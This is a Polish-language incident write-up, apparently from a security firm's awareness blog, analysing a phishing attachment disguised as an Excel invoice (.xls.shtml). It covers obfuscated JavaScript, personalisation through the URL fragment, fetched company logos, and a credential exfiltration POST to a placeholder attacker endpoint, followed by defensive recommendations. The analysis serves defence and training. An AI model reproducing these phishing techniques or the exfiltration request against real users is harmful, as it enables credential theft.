Przejdź do treści
Analiza incydentu

Excel, który nie był Excelem. Anatomia spersonalizowanego ataku phishingowego

Przebieg ataku: wiadomość e-mail, załącznik FAKTURA.xls.shtml, obfuskowany skrypt budujący formularz logowania i eksfiltracja poświadczeń

Analiza techniczna rzeczywistego incydentu obsłużonego przez zespół PEPIX. Nazwy organizacji, adresy użytkowników, infrastruktura atakującego oraz inne informacje umożliwiające identyfikację klienta zostały zanonimizowane.

Większość rozmów o cyberbezpieczeństwie skupia się na exploitach, ransomware i zaawansowanych grupach APT. Tymczasem incydent, który opisujemy poniżej, nie wykorzystał żadnej z tych rzeczy - a mimo to skutecznie doprowadził do przejęcia hasła do skrzynki pocztowej. Warto go rozłożyć na czynniki pierwsze, bo pokazuje, jak niewiele dziś potrzeba, żeby ominąć standardowe zabezpieczenia.

TL;DR

  • Użytkownik otrzymał wiadomość z załącznikiem przypominającym arkusz Excel o nazwie w stylu FAKTURA.xls.shtml.
  • Faktycznym rozszerzeniem był .shtml - po otwarciu uruchamiał się nie Excel, a silnie obfuskowany JavaScript.
  • Skrypt dynamicznie budował formularz logowania spersonalizowany pod konkretną ofiarę.
  • W trakcie analizy dynamicznej zaobserwowaliśmy mechanizm pobierania logo odpowiadającego domenie organizacji ofiary.
  • Wpisane dane trafiały do zewnętrznego endpointu kontrolowanego przez atakującego.
  • Nie wykryto klasycznego malware - celem było wyłącznie przejęcie poświadczeń.

1. Załącznik, który nie wyglądał szczególnie groźnie

Cała skuteczność kampanii opierała się na prostym załączniku. Po anonimizacji jego nazwa wyglądała następująco:

FAKTURA.xls.shtml

Na pierwszy rzut oka użytkownik widzi .xls i zakłada, że ma do czynienia z arkuszem kalkulacyjnym. W rzeczywistości ostatnim - a więc rzeczywistym - rozszerzeniem był .shtml, czyli dokument HTML interpretowany przez przeglądarkę. Po otwarciu pliku nie uruchomił się Excel, tylko JavaScript.

PEPIX.AWARE - prawdziwe rozszerzenie pliku znajduje się na końcu nazwy Przykłady: raport.pdf.html, faktura.docx.htm, rozliczenie.xlsx.shtml nie są odpowiednio PDF-em, dokumentem Word ani arkuszem Excel. Są stronami HTML.

2. Dlaczego HTML jest niebezpieczny

HTML nie jest plikiem wykonywalnym - ale to nie oznacza bezpieczeństwa. Przeglądarka potrafi wykonywać JavaScript, nawiązywać połączenia sieciowe, obsługiwać formularze, przekierowywać i pobierać zasoby z internetu. Do skutecznego phishingu nie potrzeba exploita, ransomware, PowerShella ani uprawnień administratora - wystarczy przekonać użytkownika do wpisania hasła.

3. Personalizacja ukryta we fragmencie URL

Na początku działania skrypt odczytywał adres ofiary z fragmentu URL:

plik.shtml#uzytkownik@firma.pl

Fragment po znaku # nie jest standardowo wysyłany do serwera WWW - ale JavaScript może odczytać go lokalnie (window.location.hash) i wykorzystać do dalszego działania. W tym przypadku adres e-mail służył do automatycznego uzupełnienia formularza, ustalenia domeny organizacji, personalizacji wyglądu strony i powiązania wpisanego hasła z konkretną ofiarą.

Wniosek dla analityków Podczas zabezpieczania dowodów zapisuj pełny URL wraz z parametrami i fragmentem po znaku #. W wielu kampaniach phishingowych właśnie tam znajduje się dodatkowa logika personalizacji - a ponieważ fragment nigdy nie trafia do logów serwera, to jedyne miejsce, w którym jest w ogóle widoczny.

4. Wielowarstwowa obfuskacja

Kod nie był zapisany w czytelnej formie. W próbce występowały tablice zakodowanych stringów, dynamiczne dekodowanie, eval(), generowanie funkcji w czasie działania, długie linie kodu, mechanizmy anty-debug oraz kontrole integralności. Celem tej obfuskacji było utrudnienie automatycznej analizy, wyszukiwania IOC, odczytu adresów URL i identyfikacji formularza logowania. To nie był kod pisany z myślą o użytkowniku - był pisany z myślą o utrudnieniu pracy analitykowi.

5. Analiza statyczna nie pokazała pełnego obrazu

Jeden z najciekawszych elementów tej próbki: właściwa strona phishingowa nie była widoczna bezpośrednio w dokumencie. Interfejs - formularz logowania, pola użytkownika i hasła, komunikaty błędu, branding, logika wysyłki danych - był tworzony dynamicznie przez document.write() dopiero w momencie wykonania skryptu.

W trakcie dynamicznej analizy zaobserwowaliśmy też wywołanie ustawiające źródło logo według schematu logo.clearbit.com/<domena-ofiary> - przykładowo adres uzytkownik@firma.pl mógł zostać przekształcony do logo.clearbit.com/firma.pl i wykorzystany do pobrania logo organizacji. Warto podkreślić: nie był to jawny string widoczny od razu w statycznym kodzie - mechanizm ujawnił się dopiero podczas wykonywania JavaScriptu.

To dobra ilustracja szerszego trendu. Nowoczesne kity phishingowe coraz częściej odszyfrowują dane dopiero podczas działania, dynamicznie tworzą HTML, obliczają adresy URL w locie i ukrywają endpointy - przez co sama analiza statyczna coraz częściej nie wystarcza. Niezbędne jest połączenie analizy statycznej z dynamiczną (uruchomieniem próbki w kontrolowanym, izolowanym środowisku).

6. Logo firmy nie oznacza, że strona należy do firmy

To bardzo ważna lekcja. Wielu użytkowników ocenia wiarygodność strony na podstawie logo, kolorystyki, nazwy organizacji czy wyglądu formularza - a problem w tym, że wszystkie te elementy można pobrać automatycznie. Obecność logo organizacji nie jest dowodem autentyczności; w analizowanym przypadku branding był świadomie wykorzystywanym elementem socjotechnicznym, zwiększającym wiarygodność formularza.

PEPIX.AWARE - nie ufaj stronie tylko dlatego, że widzisz logo swojej firmy Przed wpisaniem hasła sprawdź adres strony, sposób logowania, źródło dokumentu i to, czy organizacja rzeczywiście korzysta z takiej metody dostępu.

7. Fingerprinting użytkownika

Podczas działania próbka pobierała także publiczny adres IP użytkownika i dołączała go do danych przesyłanych do endpointu atakującego. Takie dane pozwalają identyfikować ofiarę, rozpoznawać jej lokalizację, korelować kolejne próby logowania i odróżniać analityków od rzeczywistych użytkowników.

8. Eksfiltracja poświadczeń

Po wpisaniu hasła formularz wykonywał żądanie:

POST https://[domena-atakujacego]/log.php

z danymi w formacie:

{
  "ipaddress": "<IP>",
  "email": "<adres_email>",
  "password": "<haslo>"
}

Potwierdzoną funkcją tego endpointu było odbieranie poświadczeń użytkownika - precyzyjniej określamy go więc jako credential collection endpoint, nie zakładając z góry dalszej logiki po stronie atakującego.

Istotny szczegół obronny: formularz nie zawierał pola na kod uwierzytelniania wieloskładnikowego. To odróżnia ten atak od bardziej zaawansowanych kitów typu adversary-in-the-middle, które działają jak odwrócone proxy i przechwytują też token sesji już po pełnym zalogowaniu z MFA. Tutaj mamy „klasyczny” credential harvesting - co oznacza, że samo włączone MFA realnie zatrzymałoby ten konkretny atak, nawet gdyby użytkownik wpisał prawdziwe hasło.

9. Czy backend sprawdzał poprawność hasła?

Zachowanie formularza sugerowało możliwość walidacji danych po stronie serwera - po nieudanej próbie strona wyświetlała komunikat o błędzie i pozwalała spróbować ponownie. Nie udało się jednak jednoznacznie potwierdzić logiki działającej po stronie atakującego, bo ta pozostaje poza zasięgiem analizy komponentu klienckiego. Najbezpieczniejszy wniosek: zachowanie aplikacji sugerowało możliwość kontroli poprawności lub przydatności przesłanych danych po stronie serwera, ale nie można tego stwierdzić z pewnością.

10. Czy był malware?

Nie znaleźliśmy dowodów użycia powershell, cmd.exe, mshta, rundll32, certutil ani WScript. Nie potwierdzono mechanizmów trwałości, nowych usług, malware downloaderów ani modyfikacji systemu. Głównym - i jedynym - celem próbki była kradzież poświadczeń, nie infekcja stacji.

Dlaczego ten atak był skuteczny

Technika Efekt
.xls.shtml Udawanie dokumentu Excel
Wielowarstwowa obfuskacja Utrudnienie analizy statycznej
document.write() Ukrycie formularza przed statyczną analizą
Fragment URL (#) Personalizacja ofiary bez śladu w logach serwera
Dynamicznie pobrane logo Większa wiarygodność wizualna
Automatyczne wypełnienie loginu Zwiększenie zaufania użytkownika
Brak pola MFA Prosty credential harvesting bez potrzeby przechwytywania sesji

Rekomendacje

  • Filtruj i oznaczaj podwójne rozszerzenia na bramce pocztowej: *.pdf.html, *.docx.htm, *.xls.shtml - to tani i skuteczny filtr.
  • Traktuj załączniki .html/.htm/.shtml z taką samą ostrożnością jak pliki wykonywalne, niezależnie od pozornego rozszerzenia w nazwie.
  • Wdrażaj MFA odporne na phishing (klucze FIDO2/passkeys) tam, gdzie to możliwe - w przypadku tego typu ataku samo hasło przestaje wystarczać do przejęcia konta.
  • Zapisuj pełny URL wraz z fragmentem przy zabezpieczaniu dowodów incydentu - to jedyne miejsce, gdzie może być widoczna logika personalizacji.
  • Łącz analizę statyczną z dynamiczną - coraz więcej phishing kitów ujawnia się dopiero po wykonaniu.
  • Zgłaszaj potwierdzoną infrastrukturę do CERT - nawet jeśli incydent dotyczy jednego klienta, ta sama kampania zwykle trafia do wielu odbiorców.

Podsumowanie

Ten atak nie wykorzystywał exploita, ransomware ani malware. Zadziałał dzięki połączeniu podwójnego rozszerzenia, silnej obfuskacji, dynamicznej personalizacji, prawdziwego brandingu organizacji i prostego formularza wyłudzającego hasło. To dobre przypomnienie, że współczesny phishing coraz częściej atakuje użytkownika, a nie system operacyjny - a jedno podane hasło może mieć większe konsekwencje niż wiele wykrytych wirusów.

O PEPIX.AWARE

PEPIX.AWARE to platforma szkoleniowa PEPIX z zakresu cyberbezpieczeństwa. Ten materiał powstał na podstawie realnego incydentu obsłużonego przez nasz zespół, po odpowiedniej anonimizacji danych klienta.

Masz pytania do tego tematu?

Nasi eksperci IT chętnie pomogą Twojej firmie wdrożyć omawiane rozwiązania.

Skontaktuj się

Powiązane artykuły